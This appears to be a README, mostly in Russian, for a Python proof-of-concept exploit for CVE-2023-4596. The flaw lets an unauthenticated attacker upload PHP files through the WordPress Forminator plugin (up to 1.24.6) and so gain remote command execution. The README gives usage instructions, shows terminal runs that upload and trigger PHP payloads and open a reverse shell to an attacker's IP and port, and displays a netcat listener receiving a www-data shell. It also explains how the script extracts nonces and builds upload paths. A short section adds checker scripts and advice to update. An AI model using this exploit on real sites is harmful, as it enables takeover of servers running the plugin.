
PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.
PoC-скрипт для CVE-2023-4596: неаутентифицированное удалённое выполнение команд через произвольную загрузку файлов.
Видео использования PoC
Шаблон Nuclei
Новостная статья
WordFence
NVD Nist
Критическая уязвимость обнаружена в плагине WordPress Forminator, которая позволяет неавторизованному атакующему загружать произвольные файлы на сервер. Первоначальный proof of concept (PoC) был написан плохо: исследователь поделился лишь несколькими невнятными скриншотами и запросом с необъяснённым кодом. Поэтому я написал Python-скрипт, чтобы упростить и автоматизировать этот процесс.
Уязвимость вызвана ошибкой в процессе проверки типов файлов. При попытке загрузить запрещённый формат файла, например PHP, появляется предупреждение о том, что «расширение загружаемого файла не разрешено». Несмотря на это уведомление, загруженный файл не блокируется, а успешно сохраняется и становится доступен в папке «/wp-content/uploads» сайта. Эта уязвимость может привести к удалённому выполнению кода.
Forminator в настоящее время активен более чем на 400 000 сайтов, а из-за простоты уязвимости довольно легко получить контроль над любым сайтом, на котором работает Forminator с включённой загрузкой файлов.
Найдите страницу, на которой работает Forminator <= 1.24.6 с функцией загрузки файлов. Скопируйте полный URL страницы, которая отправляет postdata загрузки файлов с помощью Forminator; если указан только домен, скрипт выдаст ошибку. Вы можете использовать interactsh или Burp Collaborator для генерации ссылки, которую нужно вставить в выбранное поле. После успешной загрузки в interactsh или Burp в течение 5 секунд появится запрос, указывающий, что экземпляр уязвим.
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Скрипту нужны только полный URL страницы, использующей Forminator с включённой загрузкой файлов, и ссылка interactsh, чтобы определить, уязвим ли экземпляр. Первый запрос отправляется на страницу для извлечения forminator_nonce и form_id — значений, уникальных для каждой страницы. После получения этих значений отправляется второй запрос, использующий извлечённые значения, и PHP-файл загружается. Этот PHP-файл использует ссылку interactsh, указанную пользователем ранее, и добавляет её в скрипт. Когда страница, на которой расположен PHP-скрипт, посещается, в interactsh появляется запрос, показывающий, что сайт уязвим. Regex используется для разделения URL на части, которые затем применяются в запросе; он также используется для определения версии Forminator, которая выводится при использовании аргумента -v. Расположение загружаемого файла зависит от того, в каком году и месяце вы его загружаете. Поэтому я использовал datetime для определения текущих месяца и года, которые также используются позднее для отправки запроса к местоположению загруженного файла. При тестировании уязвимости я использовал одно имя файла, но после отправки нескольких файлов заметил, что запускается только первый загруженный файл. Чтобы исправить это, для каждого запроса используется случайная строка.
[-] Could not extract forminator_nonce
Этот эксплойт работает только тогда, когда указана ссылка на точную страницу, где включена загрузка файлов через Forminator. Если указать только домен или страницу, на которой не выполняется загрузка файлов, он выдаст ошибку. Это связано с тем, что он извлекает forminator_nonce из предоставленного URL, и если на этой странице не работает Forminator или его загрузка файлов, он не может найти значение и не может его использовать. Вы также можете проверить это, найдя строку "forminator-field-post-image-postdata" в исходном коде сайта. Полная ссылка, например, выглядит так: http://127.0.0.1:8000/?p=7. Полное описание проблемы можно найти здесь.
Я включил в репозиторий два файла (checker.sh и checker.bat), которые проверяют текущую папку и вложенные папки на наличие файлов с заблокированным расширением. При обнаружении такие файлы отображаются. Причина создания этого скрипта в том, что на каждый месяц, в течение которого был установлен плагин, создаётся новая папка, и проверка всех их вручную может быть очень трудоёмкой.
Обновитесь до последней версии
http://127.0.0.1:8000Предоставленный скрипт предназначен только для образовательных целей; я не несу ответственности за ваши действия.
Twitter
Автор: Finn van der Knaap